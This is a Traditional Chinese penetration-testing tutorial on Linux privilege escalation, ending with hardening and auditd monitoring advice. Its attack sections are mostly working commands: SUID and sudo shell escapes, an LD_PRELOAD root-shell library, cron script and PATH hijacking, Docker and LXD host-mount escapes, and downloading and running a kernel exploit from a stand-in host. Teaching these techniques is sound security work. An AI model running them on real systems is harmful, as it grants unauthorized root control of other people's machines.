權限提升概述
在滲透測試過程中,取得目標系統的初始存取權限後,下一步通常是提升權限至 root 或管理員帳戶。Linux 權限提升(Privilege Escalation)是指從低權限使用者提升至高權限使用者的過程,這對於完整控制目標系統至關重要。
權限提升主要分為兩種類型:
- 垂直提權(Vertical Privilege Escalation):從低權限使用者提升至高權限使用者(如 root)
- 水平提權(Horizontal Privilege Escalation):取得同等權限但不同使用者的存取權
本文將詳細介紹 Linux 系統中常見的權限提升技術及相應的防禦措施。
資訊收集
在嘗試提權之前,首先需要收集目標系統的相關資訊。
系統資訊
1
2
3
4
5
6
7
8
9
10
| # 查看系統版本
cat /etc/os-release
uname -a
cat /proc/version
# 查看核心版本
uname -r
# 查看主機名稱
hostname
|
使用者資訊
1
2
3
4
5
6
7
8
9
10
11
12
| # 當前使用者
whoami
id
# 所有使用者
cat /etc/passwd
# 具有登入 shell 的使用者
grep -v '/nologin\|/false' /etc/passwd
# 查看 sudo 權限
sudo -l
|
網路資訊
1
2
3
4
5
6
7
8
9
10
11
| # 網路介面
ip addr
ifconfig
# 路由表
ip route
route -n
# 開放的連接埠
netstat -tunlp
ss -tunlp
|
執行中的程序
1
2
3
4
5
| # 所有執行中的程序
ps aux
# 以 root 執行的程序
ps aux | grep root
|
SUID/SGID 利用
SUID(Set User ID)和 SGID(Set Group ID)是 Linux 的特殊權限位元。當執行具有 SUID 位元的檔案時,程式會以檔案擁有者的權限執行。
尋找 SUID/SGID 檔案
1
2
3
4
5
6
7
8
| # 尋找 SUID 檔案
find / -perm -4000 -type f 2>/dev/null
# 尋找 SGID 檔案
find / -perm -2000 -type f 2>/dev/null
# 同時尋找 SUID 和 SGID
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
|
常見可利用的 SUID 程式
1
2
3
4
5
6
7
8
9
10
11
12
| # 使用 GTFOBins 查詢可利用的二進位檔案
# https://gtfobins.github.io/
# 範例:利用 find 指令
find . -exec /bin/sh -p \; -quit
# 範例:利用 vim
vim -c ':!/bin/sh'
# 範例:利用 nmap(舊版本)
nmap --interactive
!sh
|
Sudo 錯誤配置
sudo 設定不當是常見的提權途徑之一。
檢查 sudo 權限
1
2
| # 列出當前使用者的 sudo 權限
sudo -l
|
常見的 sudo 提權方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| # 如果可以執行 /bin/bash
sudo /bin/bash
# 利用 vim
sudo vim -c '!sh'
# 利用 less
sudo less /etc/passwd
!/bin/sh
# 利用 awk
sudo awk 'BEGIN {system("/bin/sh")}'
# 利用 find
sudo find /tmp -exec /bin/sh \;
# 利用環境變數(LD_PRELOAD)
# 編譯惡意共享函式庫
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}' > /tmp/shell.c
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>
|
Cron 任務利用
Cron 是 Linux 的排程任務系統,錯誤配置的 cron 任務可能導致權限提升。
檢查 Cron 任務
1
2
3
4
5
6
7
8
9
| # 系統 cron 任務
cat /etc/crontab
ls -la /etc/cron.*
# 使用者 cron 任務
crontab -l
# 查看 cron 日誌
grep CRON /var/log/syslog
|
利用可寫入的 Cron 腳本
1
2
3
4
5
| # 如果發現以 root 執行的 cron 腳本可被寫入
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/script.sh
# 等待 cron 執行後
/tmp/rootbash -p
|
利用 PATH 環境變數
1
2
3
4
5
6
| # 如果 cron 任務使用相對路徑
# 在 PATH 中優先的目錄建立同名腳本
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /tmp/target_script
chmod +x /tmp/target_script
|
核心漏洞利用
Linux 核心漏洞是提權的重要途徑,但可能導致系統不穩定。
常見核心漏洞
1
2
3
4
5
6
7
8
| # Dirty COW (CVE-2016-5195) - Linux Kernel 2.6.22 < 3.9
# 影響範圍廣泛的核心漏洞
# 檢查核心版本
uname -r
# 搜尋對應的漏洞利用程式
searchsploit linux kernel <version> privilege escalation
|
核心漏洞利用範例
1
2
3
4
5
6
7
8
| # 下載漏洞利用程式
wget https://example.com/exploit.c
# 編譯
gcc -o exploit exploit.c -lpthread
# 執行
./exploit
|
注意:在正式環境中使用核心漏洞可能導致系統崩潰,請謹慎使用。
服務漏洞利用
執行中的服務可能存在已知漏洞,可被利用進行提權。
檢查執行中的服務
1
2
3
4
5
6
7
8
| # 查看服務
systemctl list-units --type=service
# 查看服務版本
<service_name> --version
# 搜尋漏洞
searchsploit <service_name> <version>
|
常見可利用的服務
- MySQL 以 root 執行且可存取
- Docker 群組成員
- LXD/LXC 群組成員
1
2
3
4
5
6
7
8
| # Docker 提權(如果使用者在 docker 群組)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# LXD 提權
lxc init ubuntu:18.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
|
自動化工具
LinPEAS
LinPEAS 是最受歡迎的 Linux 提權列舉工具之一。
1
2
3
4
5
6
7
8
9
10
11
| # 下載 LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# 賦予執行權限
chmod +x linpeas.sh
# 執行
./linpeas.sh
# 將結果輸出到檔案
./linpeas.sh | tee linpeas_output.txt
|
其他實用工具
1
2
3
4
5
6
7
8
9
| # LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
|
防禦措施
系統強化
1
2
3
4
5
6
7
8
9
10
11
| # 最小化 SUID/SGID 檔案
find / -perm -4000 -exec ls -l {} \; 2>/dev/null
# 移除不必要的 SUID 位元
chmod u-s /path/to/file
# 限制 sudo 權限
visudo
# 使用最小權限原則
# 定期更新系統
apt update && apt upgrade -y
|
監控與稽核
1
2
3
4
5
6
7
| # 啟用 auditd
apt install auditd
systemctl enable auditd
# 監控提權嘗試
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
|
最佳實踐
- 最小權限原則:只授予使用者完成工作所需的最小權限
- 定期更新:保持系統和軟體為最新版本
- 稽核 sudo 設定:定期檢查
/etc/sudoers 配置 - 移除不必要的 SUID:稽核並移除不需要的 SUID 位元
- 監控異常活動:使用 SIEM 或日誌分析工具監控可疑行為
- 使用 SELinux/AppArmor:啟用強制存取控制機制
參考資料